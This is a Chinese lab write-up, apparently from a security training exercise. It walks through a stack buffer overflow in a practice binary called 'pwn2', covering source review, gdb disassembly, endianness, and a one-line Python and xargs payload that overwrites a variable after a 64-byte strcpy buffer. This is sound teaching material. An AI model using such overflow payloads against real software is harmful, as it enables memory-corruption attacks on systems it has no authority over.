預備知識:
1、命令行參數
C語言的main函數擁有兩個參數,爲int類型的argc參數,以及char**類型argv參數。其中argc參數的值表示命令行參數的個數,而argv則指向一個字符串數組,該數組存儲了具體的命令行參數的內容。程序本身的名字爲命令行的第一個參數。
2、xargs命令
Linux的xargs命令可以將輸入數據當做命令行參數傳給指定的程序。
3、字節序
字節順序,又稱端序或尾序(Endianness)。對於內存中存儲的0x11223344這樣一個值,從低地址往高地址方向的每一個字節來看,其內容在內存裏的分佈可能爲0x11,0x22,0x33,0x44,也可能爲0x44,0x33,0x22,0x11.
這涉及到兩種存儲規則:大端格式和小端格式。示意圖如下圖所示:
0x11223344中的最高的字節爲0x11,最低的字節爲0x44,小端格式是“高存高,低存低”的規律,即小端格式中,高位字節存儲於內存的高地址處,而低位字節存儲於內存的低地址處。
大端格式則爲“低存高,高存低”。
Intel、AMD等系列的處理器都是小端格式的。
實驗描述:
主機/home/test/2目錄下有一個pwn2程序,這個程序會對傳入的命令行參數進行處理,通過構造特定的命令行參數數據可以對程序發起溢出攻擊,成功會提示Congratulations, you pwned it.,失敗則會提示Please try again.的提示信息。
請對pwn2程序進行逆向分析和調試,找到程序內部的漏洞,並構造特殊的命令行參數數據,使之輸出成功的提示信息。
實驗步驟:
1、源碼審計
使用cd /home/test/2切換到程序所在目錄,執行cat pwn2.c即可看到源代碼:
使用strcpy函數複製字符串時,並不會對目標緩衝區的長度進行檢查,當源字符串的長度超過目標緩衝區的長度時會引發緩衝區溢出。
當輸入的超長的命令行參數數據時,將會產生緩衝區溢出,數據覆蓋buffer後會繼續覆蓋modified變量。
2、使用gdb調試程序
執行gdb pwn2對pwn2進行調試,並在gdb中執行disas main命令查看main函數的彙編:
main函數中的彙編代碼的解釋:
0x080482a0 <+0>: push %ebp
0x080482a1 <+1>: mov %esp,%ebp
0x080482a3 <+3>: and $0xfffffff0,%esp
; esp = esp - 0x60,即在棧上分配0x60)字節的空間
0x080482a6 <+6>: sub $0x60,%esp
; 判斷命令行參數的個數是否爲1
0x080482a9 <+9>: cmpl $0x1,0x8(%ebp)
0x080482ad <+13>: jne 0x80482c7 <main+39>
0x080482af <+15>: movl $0x80b3dac,(%esp)
0x080482b6 <+22>: call 0x80493c0 <puts>
0x080482bb <+27>: movl $0x1,(%esp)
0x080482c2 <+34>: call 0x8048e90 <exit>
; 命令參數個數不是1,說明傳入了命令行參數
; modified變量位於esp + 0x5C處,將其初始化爲0
0x080482c7 <+39>: movl $0x0,0x5c(%esp)
; 通過ebp + 0xC獲取argv參數的值
0x080482cf <+47>: mov 0xc(%ebp),%eax
; eax = eax + 4
0x080482d2 <+50>: add $0x4,%eax
; 取argv[1]的值
0x080482d5 <+53>: mov (%eax),%eax
; 將argv[1]作爲strcpy的第二個參數值
0x080482d7 <+55>: mov %eax,0x4(%esp)
; buffer位於esp + 0x1C處,buffer作爲strcpy的第一個參數值
0x080482db <+59>: lea 0x1c(%esp),%eax
0x080482df <+63>: mov %eax,(%esp)
; 調用strcpy進行字符串複製
0x080482e2 <+66>: call 0x80525b0 <strcpy>
; 判斷modified的值是否爲0x61626364
0x080482e7 <+71>: cmpl $0x61626364,0x5c(%esp)
; 不相等則跳轉並輸出失敗信息
0x080482ef <+79>: jne 0x80482ff <main+95>
; 輸出成功提示信息
0x080482f1 <+81>: movl $0x80b3dc8,(%esp)
0x080482f8 <+88>: call 0x80493c0 <puts>
0x080482fd <+93>: jmp 0x8048314 <main+116>
0x080482ff <+95>: mov $0x80b3de8,%eax
0x08048304 <+100>: mov 0x5c(%esp),%edx
0x08048308 <+104>: mov %edx,0x4(%esp)
0x0804830c <+108>: mov %eax,(%esp)
0x0804830f <+111>: call 0x8049390 <printf>
0x08048314 <+116>: mov $0x0,%eax
0x08048319 <+121>: leave
0x0804831a <+122>: ret
對上面代碼的分析可知,buffer位於esp+0x1C處,modified位於esp+0x5C,兩個地址的距離爲0x5C-0x1C=0x40即64,剛好爲爲buffer數組的大小。當輸入的數據超過64字節時,modified變量就可以被覆蓋,但需要控制modified變量的值還需小心地構造命令行參數。
在gdb驗證,輸入:b * 0x080482e7命令對strcpy的下一條指令下一個斷點,並輸入命令r,空一格輸入64個A和1234(r命令後加上空格可以接一個命令行參數,用於傳遞給被調試的程序。)
在gdb中輸入x $esp+0x5C,查看modified變量的值已經被修改成了0x34333231,而0x31爲字符’1’的ASCII值,0x32爲字符’2’的ASCII值,0x33爲字符’3’的ASCII值,0x34爲字符’4’的ASCII值:
使用x /4xb $esp+0x5C命令,以字節爲單位查看內存中0x34333231的表示(其中/4xb用於控制輸出格式,4表示4個長度單位,x表示以16進制方式顯示,b表示單位爲字節):
modified變量的值已經被修改成0x34333231了,結合輸入數據‘A….A1234’,1234爲低地址往高地址方向,可以判斷這是小端格式的表示法。
在gdb中輸入c命令就可以讓程序繼續執行,看到輸出了錯誤的提示信息:
現在合理控制命令行參數的第65~68字節的內容,就可以成功發起溢出攻擊了。
3、發起溢出攻擊
目標機器採用小端格式存儲數據,而if語句分支要求modified的值爲0x61626364時才通過判斷,因此構造的數據應該爲\x64\x63\x62\x61。
退出gdb,用python語句構造輸入數據,然後通過xargs傳給pwn2程序,執行命令:python -c "print 'A'*64+'\x64\x63\x62\x61'" | xargs ./pwn2
成功發起了溢出攻擊,
實驗總結:
1、strcpy()函數是C語言中的一個複製字符串的庫函數。
2、對於函數調用還不太明白,不理解爲什麼在main函數中可以通過[ebp+0x8]來取得argc的值。在接下來學習中補上疑惑。